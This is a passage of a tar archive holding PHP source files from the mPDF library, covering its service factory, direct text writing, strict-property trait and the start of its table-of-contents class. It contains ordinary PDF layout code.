trim($entry); $poss = []; $offset = 0; $p = true; $wl = mb_strlen($entry, 'UTF-8'); while ($offset < $wl) { $p = mb_strpos($entry, '/', $offset, 'UTF-8'); if ($p !== false) { $poss[] = $p - count($poss); } else { break; } $offset = $p + 1; } if (count($poss)) { $this->words[str_replace('/', '', mb_strtolower($entry))] = $poss; } } } elseif ($this->mpdf->debug) { throw new \Mpdf\MpdfException(sprintf('Unable to open hyphenation dictionary "%s"', $this->mpdf->hyphenationDictionaryFile)); } $this->dictionaryLoaded = true; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/ServiceFactory.php�������������������������������������������������������������0000644�����������������00000010464�14760002214�0014146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Mpdf\Color\ColorConverter; use Mpdf\Color\ColorModeConverter; use Mpdf\Color\ColorSpaceRestrictor; use Mpdf\Fonts\FontCache; use Mpdf\Fonts\FontFileFinder; use Mpdf\Image\ImageProcessor; use Mpdf\Pdf\Protection; use Mpdf\Pdf\Protection\UniqidGenerator; use Mpdf\Writer\BaseWriter; use Mpdf\Writer\BackgroundWriter; use Mpdf\Writer\ColorWriter; use Mpdf\Writer\BookmarkWriter; use Mpdf\Writer\FontWriter; use Mpdf\Writer\FormWriter; use Mpdf\Writer\ImageWriter; use Mpdf\Writer\JavaScriptWriter; use Mpdf\Writer\MetadataWriter; use Mpdf\Writer\OptionalContentWriter; use Mpdf\Writer\PageWriter; use Mpdf\Writer\ResourceWriter; use Psr\Log\LoggerInterface; class ServiceFactory { public function getServices( Mpdf $mpdf, LoggerInterface $logger, $config, $restrictColorSpace, $languageToFont, $scriptToLanguage, $fontDescriptor, $bmp, $directWrite, $wmf ) { $sizeConverter = new SizeConverter($mpdf->dpi, $mpdf->default_font_size, $mpdf, $logger); $colorModeConverter = new ColorModeConverter(); $colorSpaceRestrictor = new ColorSpaceRestrictor( $mpdf, $colorModeConverter, $restrictColorSpace ); $colorConverter = new ColorConverter($mpdf, $colorModeConverter, $colorSpaceRestrictor); $tableOfContents = new TableOfContents($mpdf, $sizeConverter); $cache = new Cache($config['tempDir']); $fontCache = new FontCache(new Cache($config['tempDir'] . '/ttfontdata')); $fontFileFinder = new FontFileFinder($config['fontDir']); $cssManager = new CssManager($mpdf, $cache, $sizeConverter, $colorConverter); $otl = new Otl($mpdf, $fontCache); $protection = new Protection(new UniqidGenerator()); $writer = new BaseWriter($mpdf, $protection); $gradient = new Gradient($mpdf, $sizeConverter, $colorConverter, $writer); $formWriter = new FormWriter($mpdf, $writer); $form = new Form($mpdf, $otl, $colorConverter, $writer, $formWriter); $hyphenator = new Hyphenator($mpdf); $remoteContentFetcher = new RemoteContentFetcher($mpdf, $logger); $imageProcessor = new ImageProcessor( $mpdf, $otl, $cssManager, $sizeConverter, $colorConverter, $colorModeConverter, $cache, $languageToFont, $scriptToLanguage, $remoteContentFetcher, $logger ); $tag = new Tag( $mpdf, $cache, $cssManager, $form, $otl, $tableOfContents, $sizeConverter, $colorConverter, $imageProcessor, $languageToFont ); $fontWriter = new FontWriter($mpdf, $writer, $fontCache, $fontDescriptor); $metadataWriter = new MetadataWriter($mpdf, $writer, $form, $protection, $logger); $imageWriter = new ImageWriter($mpdf, $writer); $pageWriter = new PageWriter($mpdf, $form, $writer, $metadataWriter); $bookmarkWriter = new BookmarkWriter($mpdf, $writer); $optionalContentWriter = new OptionalContentWriter($mpdf, $writer); $colorWriter = new ColorWriter($mpdf, $writer); $backgroundWriter = new BackgroundWriter($mpdf, $writer); $javaScriptWriter = new JavaScriptWriter($mpdf, $writer); $resourceWriter = new ResourceWriter( $mpdf, $writer, $colorWriter, $fontWriter, $imageWriter, $formWriter, $optionalContentWriter, $backgroundWriter, $bookmarkWriter, $metadataWriter, $javaScriptWriter, $logger ); return [ 'otl' => $otl, 'bmp' => $bmp, 'cache' => $cache, 'cssManager' => $cssManager, 'directWrite' => $directWrite, 'fontCache' => $fontCache, 'fontFileFinder' => $fontFileFinder, 'form' => $form, 'gradient' => $gradient, 'tableOfContents' => $tableOfContents, 'tag' => $tag, 'wmf' => $wmf, 'sizeConverter' => $sizeConverter, 'colorConverter' => $colorConverter, 'hyphenator' => $hyphenator, 'remoteContentFetcher' => $remoteContentFetcher, 'imageProcessor' => $imageProcessor, 'protection' => $protection, 'languageToFont' => $languageToFont, 'scriptToLanguage' => $scriptToLanguage, 'writer' => $writer, 'fontWriter' => $fontWriter, 'metadataWriter' => $metadataWriter, 'imageWriter' => $imageWriter, 'formWriter' => $formWriter, 'pageWriter' => $pageWriter, 'bookmarkWriter' => $bookmarkWriter, 'optionalContentWriter' => $optionalContentWriter, 'colorWriter' => $colorWriter, 'backgroundWriter' => $backgroundWriter, 'javaScriptWriter' => $javaScriptWriter, 'resourceWriter' => $resourceWriter ]; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/MpdfImageException.php���������������������������������������������������������0000644�����������������00000000122�14760002214�0014714 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; class MpdfImageException extends \Mpdf\MpdfException { } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/DirectWrite.php����������������������������������������������������������������0000644�����������������00000035121�14760002214�0013440 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Mpdf\Color\ColorConverter; use Mpdf\Css\TextVars; class DirectWrite { /** * @var \Mpdf\Mpdf */ private $mpdf; /** * @var \Mpdf\Otl */ private $otl; /** * @var \Mpdf\SizeConverter */ private $sizeConverter; /** * @var \Mpdf\Color\ColorConverter */ private $colorConverter; public function __construct(Mpdf $mpdf, Otl $otl, SizeConverter $sizeConverter, ColorConverter $colorConverter) { $this->mpdf = $mpdf; $this->otl = $otl; $this->sizeConverter = $sizeConverter; $this->colorConverter = $colorConverter; } function Write($h, $txt, $currentx = 0, $link = '', $directionality = 'ltr', $align = '', $fill = 0) { if (!$align) { if ($directionality === 'rtl') { $align = 'R'; } else { $align = 'L'; } } if ($h == 0) { $this->mpdf->SetLineHeight(); $h = $this->mpdf->lineheight; } //Output text in flowing mode $w = $this->mpdf->w - $this->mpdf->rMargin - $this->mpdf->x; $wmax = ($w - ($this->mpdf->cMarginL + $this->mpdf->cMarginR)); $s = str_replace("\r", '', $txt); if ($this->mpdf->usingCoreFont) { $nb = strlen($s); } else { $nb = mb_strlen($s, $this->mpdf->mb_enc); // handle single space character if (($nb === 1) && $s === ' ') { $this->mpdf->x += $this->mpdf->GetStringWidth($s); return; } } $sep = -1; $i = 0; $j = 0; $l = 0; $nl = 1; if (!$this->mpdf->usingCoreFont) { if (preg_match('/([' . $this->mpdf->pregRTLchars . '])/u', $txt)) { $this->mpdf->biDirectional = true; } // *RTL* while ($i < $nb) { //Get next character $c = mb_substr($s, $i, 1, $this->mpdf->mb_enc); if ($c === "\n") { // WORD SPACING $this->mpdf->ResetSpacing(); //Explicit line break $tmp = rtrim(mb_substr($s, $j, $i - $j, $this->mpdf->mb_enc)); $this->mpdf->Cell($w, $h, $tmp, 0, 2, $align, $fill, $link); $i++; $sep = -1; $j = $i; $l = 0; if ($nl === 1) { if ($currentx != 0) { $this->mpdf->x = $currentx; } else { $this->mpdf->x = $this->mpdf->lMargin; } $w = $this->mpdf->w - $this->mpdf->rMargin - $this->mpdf->x; $wmax = ($w - ($this->mpdf->cMarginL + $this->mpdf->cMarginR)); } $nl++; continue; } if ($c === ' ') { $sep = $i; } $l += $this->mpdf->GetCharWidthNonCore($c); // mPDF 5.3.04 if ($l > $wmax) { //Automatic line break (word wrapping) if ($sep == -1) { // WORD SPACING $this->mpdf->ResetSpacing(); if ($this->mpdf->x > $this->mpdf->lMargin) { //Move to next line if ($currentx != 0) { $this->mpdf->x = $currentx; } else { $this->mpdf->x = $this->mpdf->lMargin; } $this->mpdf->y+=$h; $w = $this->mpdf->w - $this->mpdf->rMargin - $this->mpdf->x; $wmax = ($w - ($this->mpdf->cMarginL + $this->mpdf->cMarginR)); $i++; $nl++; continue; } if ($i == $j) { $i++; } $tmp = rtrim(mb_substr($s, $j, $i - $j, $this->mpdf->mb_enc)); $this->mpdf->Cell($w, $h, $tmp, 0, 2, $align, $fill, $link); } else { $tmp = rtrim(mb_substr($s, $j, $sep - $j, $this->mpdf->mb_enc)); if ($align === 'J') { ////////////////////////////////////////// // JUSTIFY J using Unicode fonts (Word spacing doesn't work) // WORD SPACING // Change NON_BREAKING SPACE to spaces so they are 'spaced' properly $tmp = str_replace(chr(194) . chr(160), chr(32), $tmp); $len_ligne = $this->mpdf->GetStringWidth($tmp); $nb_carac = mb_strlen($tmp, $this->mpdf->mb_enc); $nb_spaces = mb_substr_count($tmp, ' ', $this->mpdf->mb_enc); $inclCursive = false; if (!empty($this->mpdf->CurrentFont['useOTL']) && preg_match('/([' . $this->mpdf->pregCURSchars . '])/u', $tmp)) { $inclCursive = true; } list($charspacing, $ws) = $this->mpdf->GetJspacing($nb_carac, $nb_spaces, (($w - 2) - $len_ligne) * Mpdf::SCALE, $inclCursive); $this->mpdf->SetSpacing($charspacing, $ws); ////////////////////////////////////////// } $this->mpdf->Cell($w, $h, $tmp, 0, 2, $align, $fill, $link); $i = $sep + 1; } $sep = -1; $j = $i; $l = 0; if ($nl === 1) { if ($currentx != 0) { $this->mpdf->x = $currentx; } else { $this->mpdf->x = $this->mpdf->lMargin; } $w = $this->mpdf->w - $this->mpdf->rMargin - $this->mpdf->x; $wmax = ($w - ($this->mpdf->cMarginL + $this->mpdf->cMarginR)); } $nl++; } else { $i++; } } //Last chunk // WORD SPACING $this->mpdf->ResetSpacing(); } else { while ($i < $nb) { //Get next character $c = $s[$i]; if ($c === "\n") { //Explicit line break // WORD SPACING $this->mpdf->ResetSpacing(); $this->mpdf->Cell($w, $h, substr($s, $j, $i - $j), 0, 2, $align, $fill, $link); $i++; $sep = -1; $j = $i; $l = 0; if ($nl === 1) { if ($currentx != 0) { $this->mpdf->x = $currentx; } else { $this->mpdf->x = $this->mpdf->lMargin; } $w = $this->mpdf->w - $this->mpdf->rMargin - $this->mpdf->x; $wmax = $w - ($this->mpdf->cMarginL + $this->mpdf->cMarginR); } $nl++; continue; } if ($c === ' ') { $sep = $i; } $l += $this->mpdf->GetCharWidthCore($c); // mPDF 5.3.04 if ($l > $wmax) { //Automatic line break (word wrapping) if ($sep == -1) { // WORD SPACING $this->mpdf->ResetSpacing(); if ($this->mpdf->x > $this->mpdf->lMargin) { //Move to next line if ($currentx != 0) { $this->mpdf->x = $currentx; } else { $this->mpdf->x = $this->mpdf->lMargin; } $this->mpdf->y+=$h; $w = $this->mpdf->w - $this->mpdf->rMargin - $this->mpdf->x; $wmax = $w - ($this->mpdf->cMarginL + $this->mpdf->cMarginR); $i++; $nl++; continue; } if ($i == $j) { $i++; } $this->mpdf->Cell($w, $h, substr($s, $j, $i - $j), 0, 2, $align, $fill, $link); } else { $tmp = substr($s, $j, $sep - $j); if ($align === 'J') { ////////////////////////////////////////// // JUSTIFY J using Unicode fonts // WORD SPACING is not fully supported for complex scripts // Change NON_BREAKING SPACE to spaces so they are 'spaced' properly $tmp = str_replace(chr(160), chr(32), $tmp); $len_ligne = $this->mpdf->GetStringWidth($tmp); $nb_carac = strlen($tmp); $nb_spaces = substr_count($tmp, ' '); list($charspacing, $ws) = $this->mpdf->GetJspacing($nb_carac, $nb_spaces, (($w - 2) - $len_ligne) * Mpdf::SCALE, $false); $this->mpdf->SetSpacing($charspacing, $ws); ////////////////////////////////////////// } $this->mpdf->Cell($w, $h, $tmp, 0, 2, $align, $fill, $link); $i = $sep + 1; } $sep = -1; $j = $i; $l = 0; if ($nl === 1) { if ($currentx != 0) { $this->mpdf->x = $currentx; } else { $this->mpdf->x = $this->mpdf->lMargin; } $w = $this->mpdf->w - $this->mpdf->rMargin - $this->mpdf->x; $wmax = $w - ($this->mpdf->cMarginL + $this->mpdf->cMarginR); } $nl++; } else { $i++; } } // WORD SPACING $this->mpdf->ResetSpacing(); } //Last chunk if ($i != $j) { if ($currentx != 0) { $this->mpdf->x = $currentx; } else { $this->mpdf->x = $this->mpdf->lMargin; } if ($this->mpdf->usingCoreFont) { $tmp = substr($s, $j, $i - $j); } else { $tmp = mb_substr($s, $j, $i - $j, $this->mpdf->mb_enc); } $this->mpdf->Cell($w, $h, $tmp, 0, 0, $align, $fill, $link); } } function CircularText($x, $y, $r, $text, $align = 'top', $fontfamily = '', $fontsizePt = 0, $fontstyle = '', $kerning = 120, $fontwidth = 100, $divider = '') { if ($fontfamily || $fontstyle || $fontsizePt) { $this->mpdf->SetFont($fontfamily, $fontstyle, $fontsizePt); } $kerning /= 100; $fontwidth /= 100; if ($kerning == 0) { throw new \Mpdf\MpdfException('Please use values unequal to zero for kerning (CircularText)'); } if ($fontwidth == 0) { throw new \Mpdf\MpdfException('Please use values unequal to zero for font width (CircularText)'); } $text = str_replace("\r", '', $text); // circumference $u = ($r * 2) * M_PI; $checking = true; $autoset = false; while ($checking) { $t = 0; $w = []; if ($this->mpdf->usingCoreFont) { $nb = strlen($text); for ($i = 0; $i < $nb; $i++) { $w[$i] = $this->mpdf->GetStringWidth($text[$i]); $w[$i]*=$kerning * $fontwidth; $t+=$w[$i]; } } else { $nb = mb_strlen($text, $this->mpdf->mb_enc); $lastchar = ''; $unicode = $this->mpdf->UTF8StringToArray($text); for ($i = 0; $i < $nb; $i++) { $c = mb_substr($text, $i, 1, $this->mpdf->mb_enc); $w[$i] = $this->mpdf->GetStringWidth($c); $w[$i]*=$kerning * $fontwidth; $char = $unicode[$i]; if ($this->mpdf->useKerning && $lastchar && isset($this->mpdf->CurrentFont['kerninfo'][$lastchar][$char])) { $tk = $this->mpdf->CurrentFont['kerninfo'][$lastchar][$char] * ($this->mpdf->FontSize / 1000) * $kerning * $fontwidth; $w[$i] += $tk / 2; $w[$i - 1] += $tk / 2; $t+=$tk; } $lastchar = $char; $t+=$w[$i]; } } if ($fontsizePt >= 0 || $autoset) { $checking = false; } else { $t+=$this->mpdf->GetStringWidth(' '); if ($divider) { $t+=$this->mpdf->GetStringWidth(' '); } if ($fontsizePt == -2) { $fontsizePt = $this->mpdf->FontSizePt * 0.5 * $u / $t; } else { $fontsizePt = $this->mpdf->FontSizePt * $u / $t; } $this->mpdf->SetFontSize($fontsizePt); $autoset = true; } } // total width of string in degrees $d = ($t / $u) * 360; $this->mpdf->StartTransform(); // rotate matrix for the first letter to center the text // (half of total degrees) if ($align === 'top') { $this->mpdf->transformRotate(-$d / 2, $x, $y); } else { $this->mpdf->transformRotate($d / 2, $x, $y); } // run through the string for ($i = 0; $i < $nb; $i++) { if ($align === 'top') { // rotate matrix half of the width of current letter + half of the width of preceding letter if ($i === 0) { $this->mpdf->transformRotate((($w[$i] / 2) / $u) * 360, $x, $y); } else { $this->mpdf->transformRotate((($w[$i] / 2 + $w[$i - 1] / 2) / $u) * 360, $x, $y); } if ($fontwidth !== 1) { $this->mpdf->StartTransform(); $this->mpdf->transformScale($fontwidth * 100, 100, $x, $y); } $this->mpdf->SetXY($x - $w[$i] / 2, $y - $r); } else { // rotate matrix half of the width of current letter + half of the width of preceding letter if ($i === 0) { $this->mpdf->transformRotate(-(($w[$i] / 2) / $u) * 360, $x, $y); } else { $this->mpdf->transformRotate(-(($w[$i] / 2 + $w[$i - 1] / 2) / $u) * 360, $x, $y); } if ($fontwidth !== 1) { $this->mpdf->StartTransform(); $this->mpdf->transformScale($fontwidth * 100, 100, $x, $y); } $this->mpdf->SetXY($x - $w[$i] / 2, $y + $r - $this->mpdf->FontSize); } if ($this->mpdf->usingCoreFont) { $c = $text[$i]; } else { $c = mb_substr($text, $i, 1, $this->mpdf->mb_enc); } $this->mpdf->Cell($w[$i], $this->mpdf->FontSize, $c, 0, 0, 'C'); // mPDF 5.3.53 if ($fontwidth !== 1) { $this->mpdf->StopTransform(); } } $this->mpdf->StopTransform(); // mPDF 5.5.23 if ($align === 'top' && $divider != '') { $wc = $this->mpdf->GetStringWidth($divider); $wc *= $kerning * $fontwidth; $this->mpdf->StartTransform(); $this->mpdf->transformRotate(90, $x, $y); $this->mpdf->SetXY($x - $wc / 2, $y - $r); $this->mpdf->Cell($wc, $this->mpdf->FontSize, $divider, 0, 0, 'C'); $this->mpdf->StopTransform(); $this->mpdf->StartTransform(); $this->mpdf->transformRotate(-90, $x, $y); $this->mpdf->SetXY($x - $wc / 2, $y - $r); $this->mpdf->Cell($wc, $this->mpdf->FontSize, $divider, 0, 0, 'C'); $this->mpdf->StopTransform(); } } function Shaded_box($text, $font = '', $fontstyle = 'B', $szfont = '', $width = '70%', $style = 'DF', $radius = 2.5, $fill = '#FFFFFF', $color = '#000000', $pad = 2) { // F (shading - no line),S (line, no shading),DF (both) if (!$font) { $font = $this->mpdf->default_font; } if (!$szfont) { $szfont = $this->mpdf->default_font_size * 1.8; } $text = ' ' . $text . ' '; $this->mpdf->SetFont($font, $fontstyle, $szfont, false); $text = $this->mpdf->purify_utf8_text($text); if ($this->mpdf->text_input_as_HTML) { $text = $this->mpdf->all_entities_to_utf8($text); } if ($this->mpdf->usingCoreFont) { $text = mb_convert_encoding($text, $this->mpdf->mb_enc, 'UTF-8'); } // DIRECTIONALITY if (preg_match('/([' . $this->mpdf->pregRTLchars . '])/u', $text)) { $this->mpdf->biDirectional = true; } // *RTL* $textvar = 0; $save_OTLtags = $this->mpdf->OTLtags; $this->mpdf->OTLtags = []; if ($this->mpdf->useKerning) { if ($this->mpdf->CurrentFont['haskernGPOS']) { $this->mpdf->OTLtags['Plus'] .= ' kern'; } else { $textvar |= TextVars::FC_KERNING; } } // Use OTL OpenType Table Layout - GSUB & GPOS if (!empty($this->mpdf->CurrentFont['useOTL'])) { $text = $this->otl->applyOTL($text, $this->mpdf->CurrentFont['useOTL']); $OTLdata = $this->otl->OTLdata; } $this->mpdf->OTLtags = $save_OTLtags; $this->mpdf->magic_reverse_dir($text, $this->mpdf->directionality, $OTLdata); if (!$width) { $width = $this->mpdf->pgwidth; } else { $width = $this->sizeConverter->convert($width, $this->mpdf->pgwidth); } $midpt = $this->mpdf->lMargin + ($this->mpdf->pgwidth / 2); $r1 = $midpt - ($width / 2); //($this->mpdf->w / 2) - 40; $r2 = $r1 + $width; //$r1 + 80; $y1 = $this->mpdf->y; $loop = 0; while ($loop === 0) { $this->mpdf->SetFont($font, $fontstyle, $szfont, false); $sz = $this->mpdf->GetStringWidth($text, true, $OTLdata, $textvar); if (($r1 + $sz) > $r2) { $szfont --; } else { $loop ++; } } $this->mpdf->SetFont($font, $fontstyle, $szfont, true, true); $y2 = $this->mpdf->FontSize + ($pad * 2); $this->mpdf->SetLineWidth(0.1); $fc = $this->colorConverter->convert($fill, $this->mpdf->PDFAXwarnings); $tc = $this->colorConverter->convert($color, $this->mpdf->PDFAXwarnings); $this->mpdf->SetFColor($fc); $this->mpdf->SetTColor($tc); $this->mpdf->RoundedRect($r1, $y1, $r2 - $r1, $y2, $radius, $style); $this->mpdf->SetX($r1); $this->mpdf->Cell($r2 - $r1, $y2, $text, 0, 1, 'C', 0, '', 0, 0, 0, 'M', 0, false, $OTLdata, $textvar); $this->mpdf->SetY($y1 + $y2 + 2); // +2 = mm margin below shaded box $this->mpdf->Reset(); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/Strict.php���������������������������������������������������������������������0000644�����������������00000002777�14760002214�0012476 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; trait Strict { /** * @param string $name method name * @param array $args arguments */ public function __call($name, $args) { $class = method_exists($this, $name) ? 'parent' : get_class($this); throw new \Mpdf\MpdfException("Call to undefined method $class::$name()"); } /** * @param string $name lowercase method name * @param array $args arguments */ public static function __callStatic($name, $args) { $class = get_called_class(); throw new \Mpdf\MpdfException("Call to undefined static function $class::$name()"); } /** * @param string $name property name */ public function &__get($name) { $class = get_class($this); throw new \Mpdf\MpdfException("Cannot read an undeclared property $class::\$$name"); } /** * @param string $name property name * @param mixed $value property value */ public function __set($name, $value) { $class = get_class($this); throw new \Mpdf\MpdfException("Cannot write to an undeclared property $class::\$$name"); } /** * @param string $name property name * @throws \Kdyby\StrictObjects\\Mpdf\MpdfException */ public function __isset($name) { $class = get_class($this); throw new \Mpdf\MpdfException("Cannot read an undeclared property $class::\$$name"); } /** * @param string $name property name * @throws \Kdyby\StrictObjects\\Mpdf\MpdfException */ public function __unset($name) { $class = get_class($this); throw new \Mpdf\MpdfException("Cannot unset the property $class::\$$name."); } } �vendor/mpdf/mpdf/src/TableOfContents.php������������������������������������������������������������0000644�����������������00000101253�14760002214�0014245 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Mpdf\Utils\Arrays; use DeepCopy\DeepCopy; class TableOfContents { private $mpdf; private $sizeConverter; var $_toc; var $TOCmark; var $TOCoutdent; // mPDF 5.6.31 var $TOCpreHTML; var $TOCpostHTML; var $TOCbookmarkText; var $TOCusePaging; var $TOCuseLinking; var $TOCorientation; var $TOC_margin_left; var $TOC_margin_right; var $TOC_margin_top; var $TOC_margin_bottom; var $TOC_margin_header; var $TOC_margin_footer; var $TOC_odd_header_name; var $TOC_even_header_name; var $TOC_odd_footer_name; var $TOC_even_footer_name; var $TOC_odd_header_value; var $TOC_even_header_value; var $TOC_odd_footer_value; var $TOC_even_footer_value; var $TOC_page_selector; var $TOC_resetpagenum; // mPDF 6 var $TOC_pagenumstyle; // mPDF 6 var $TOC_suppress; // mPDF 6 var $TOCsheetsize; var $m_TOC; /** * @var bool Determine if the TOC should be cloned to calculate the correct page numbers */ protected $tocTocPaintBegun = false; public function __construct(Mpdf $mpdf, SizeConverter $sizeConverter) { $this->mpdf = $mpdf; $this->sizeConverter = $sizeConverter; $this->_toc = []; $this->TOCmark = 0; $this->m_TOC = []; } /** * Mark the TOC Paint as having begun */ public function beginTocPaint() { $this->tocTocPaintBegun = true; } public function TOCpagebreak( $tocfont = '', $tocfontsize = '', $tocindent = '', $TOCusePaging = true, $TOCuseLinking = '', $toc_orientation = '', $toc_mgl = '', $toc_mgr = '', $toc_mgt = '', $toc_mgb = '', $toc_mgh = '', $toc_mgf = '', $toc_ohname = '', $toc_ehname = '', $toc_ofname = '', $toc_efname = '', $toc_ohvalue = 0, $toc_ehvalue = 0, $toc_ofvalue = 0, $toc_efvalue = 0, $toc_preHTML = '', $toc_postHTML = '', $toc_bookmarkText = '', $resetpagenum = '', $pagenumstyle = '', $suppress = '', $orientation = '', $mgl = '', $mgr = '', $mgt = '', $mgb = '', $mgh = '', $mgf = '', $ohname = '', $ehname = '', $ofname = '', $efname = '', $ohvalue = 0, $ehvalue = 0, $ofvalue = 0, $efvalue = 0, $toc_id = 0, $pagesel = '', $toc_pagesel = '', $sheetsize = '', $toc_sheetsize = '', $tocoutdent = '', $toc_resetpagenum = '', $toc_pagenumstyle = '', $toc_suppress = '' ) { if (strtoupper($toc_id) == 'ALL') { $toc_id = '_mpdf_all'; } elseif (!$toc_id) { $toc_id = 0; } else { $toc_id = strtolower($toc_id); } if ($TOCusePaging === false || strtolower($TOCusePaging) == "off" || $TOCusePaging === 0 || $TOCusePaging === "0" || $TOCusePaging === "") { $TOCusePaging = false; } else { $TOCusePaging = true; } if (!$TOCuseLinking) { $TOCuseLinking = false; } if ($toc_id) { $this->m_TOC[$toc_id]['TOCmark'] = $this->mpdf->page; $this->m_TOC[$toc_id]['TOCoutdent'] = $tocoutdent; $this->m_TOC[$toc_id]['TOCorientation'] = $toc_orientation; $this->m_TOC[$toc_id]['TOCuseLinking'] = $TOCuseLinking; $this->m_TOC[$toc_id]['TOCusePaging'] = $TOCusePaging; if ($toc_preHTML) { $this->m_TOC[$toc_id]['TOCpreHTML'] = $toc_preHTML; } if ($toc_postHTML) { $this->m_TOC[$toc_id]['TOCpostHTML'] = $toc_postHTML; } if ($toc_bookmarkText) { $this->m_TOC[$toc_id]['TOCbookmarkText'] = $toc_bookmarkText; } $this->m_TOC[$toc_id]['TOC_margin_left'] = $toc_mgl; $this->m_TOC[$toc_id]['TOC_margin_right'] = $toc_mgr; $this->m_TOC[$toc_id]['TOC_margin_top'] = $toc_mgt; $this->m_TOC[$toc_id]['TOC_margin_bottom'] = $toc_mgb; $this->m_TOC[$toc_id]['TOC_margin_header'] = $toc_mgh; $this->m_TOC[$toc_id]['TOC_margin_footer'] = $toc_mgf; $this->m_TOC[$toc_id]['TOC_odd_header_name'] = $toc_ohname; $this->m_TOC[$toc_id]['TOC_even_header_name'] = $toc_ehname; $this->m_TOC[$toc_id]['TOC_odd_footer_name'] = $toc_ofname; $this->m_TOC[$toc_id]['TOC_even_footer_name'] = $toc_efname; $this->m_TOC[$toc_id]['TOC_odd_header_value'] = $toc_ohvalue; $this->m_TOC[$toc_id]['TOC_even_header_value'] = $toc_ehvalue; $this->m_TOC[$toc_id]['TOC_odd_footer_value'] = $toc_ofvalue; $this->m_TOC[$toc_id]['TOC_even_footer_value'] = $toc_efvalue; $this->m_TOC[$toc_id]['TOC_page_selector'] = $toc_pagesel; $this->m_TOC[$toc_id]['TOC_resetpagenum'] = $toc_resetpagenum; // mPDF 6 $this->m_TOC[$toc_id]['TOC_pagenumstyle'] = $toc_pagenumstyle; // mPDF 6 $this->m_TOC[$toc_id]['TOC_suppress'] = $toc_suppress; // mPDF 6 $this->m_TOC[$toc_id]['TOCsheetsize'] = $toc_sheetsize; } else { $this->TOCmark = $this->mpdf->page; $this->TOCoutdent = $tocoutdent; $this->TOCorientation = $toc_orientation; $this->TOCuseLinking = $TOCuseLinking; $this->TOCusePaging = $TOCusePaging; if ($toc_preHTML) { $this->TOCpreHTML = $toc_preHTML; } if ($toc_postHTML) { $this->TOCpostHTML = $toc_postHTML; } if ($toc_bookmarkText) { $this->TOCbookmarkText = $toc_bookmarkText; } $this->TOC_margin_left = $toc_mgl; $this->TOC_margin_right = $toc_mgr; $this->TOC_margin_top = $toc_mgt; $this->TOC_margin_bottom = $toc_mgb; $this->TOC_margin_header = $toc_mgh; $this->TOC_margin_footer = $toc_mgf; $this->TOC_odd_header_name = $toc_ohname; $this->TOC_even_header_name = $toc_ehname; $this->TOC_odd_footer_name = $toc_ofname; $this->TOC_even_footer_name = $toc_efname; $this->TOC_odd_header_value = $toc_ohvalue; $this->TOC_even_header_value = $toc_ehvalue; $this->TOC_odd_footer_value = $toc_ofvalue; $this->TOC_even_footer_value = $toc_efvalue; $this->TOC_page_selector = $toc_pagesel; $this->TOC_resetpagenum = $toc_resetpagenum; // mPDF 6 $this->TOC_pagenumstyle = $toc_pagenumstyle; // mPDF 6 $this->TOC_suppress = $toc_suppress; // mPDF 6 $this->TOCsheetsize = $toc_sheetsize; } } /** * Initiate, and Mark a place for the Table of Contents to be inserted */ public function TOC( $tocfont = '', $tocfontsize = 0, $tocindent = 0, $resetpagenum = '', $pagenumstyle = '', $suppress = '', $toc_orientation = '', $TOCusePaging = true, $TOCuseLinking = false, $toc_id = 0, $tocoutdent = '', $toc_resetpagenum = '', $toc_pagenumstyle = '', $toc_suppress = '' ) { if (strtoupper($toc_id) == 'ALL') { $toc_id = '_mpdf_all'; } elseif (!$toc_id) { $toc_id = 0; } else { $toc_id = strtolower($toc_id); } // To use odd and even pages // Cannot start table of contents on an even page if (($this->mpdf->mirrorMargins) && (($this->mpdf->page) % 2 == 0)) { // EVEN if ($this->mpdf->ColActive) { if (count($this->mpdf->columnbuffer)) { $this->mpdf->printcolumnbuffer(); } } $this->mpdf->AddPage($this->mpdf->CurOrientation, '', $resetpagenum, $pagenumstyle, $suppress); } else { $this->mpdf->PageNumSubstitutions[] = ['from' => $this->mpdf->page, 'reset' => $resetpagenum, 'type' => $pagenumstyle, 'suppress' => $suppress]; } if ($toc_id) { $this->m_TOC[$toc_id]['TOCmark'] = $this->mpdf->page; $this->m_TOC[$toc_id]['TOCoutdent'] = $tocoutdent; $this->m_TOC[$toc_id]['TOCorientation'] = $toc_orientation; $this->m_TOC[$toc_id]['TOCuseLinking'] = $TOCuseLinking; $this->m_TOC[$toc_id]['TOCusePaging'] = $TOCusePaging; $this->m_TOC[$toc_id]['TOC_resetpagenum'] = $toc_resetpagenum; // mPDF 6 $this->m_TOC[$toc_id]['TOC_pagenumstyle'] = $toc_pagenumstyle; // mPDF 6 $this->m_TOC[$toc_id]['TOC_suppress'] = $toc_suppress; // mPDF 6 } else { $this->TOCmark = $this->mpdf->page; $this->TOCoutdent = $tocoutdent; $this->TOCorientation = $toc_orientation; $this->TOCuseLinking = $TOCuseLinking; $this->TOCusePaging = $TOCusePaging; $this->TOC_resetpagenum = $toc_resetpagenum; // mPDF 6 $this->TOC_pagenumstyle = $toc_pagenumstyle; // mPDF 6 $this->TOC_suppress = $toc_suppress; // mPDF 6 } } public function insertTOC() { /* * Fix the TOC page numbering problem * * To do this, the current class is deep cloned and then the TOC functionality run. The correct page * numbers are calculated when the TOC pages are moved into position in the cloned object (see Mpdf::MovePages). * It's then a matter of copying the correct page numbers to the original object and letting the TOC functionality * run as per normal. * * See https://github.com/mpdf/mpdf/issues/642 */ if (!$this->tocTocPaintBegun) { 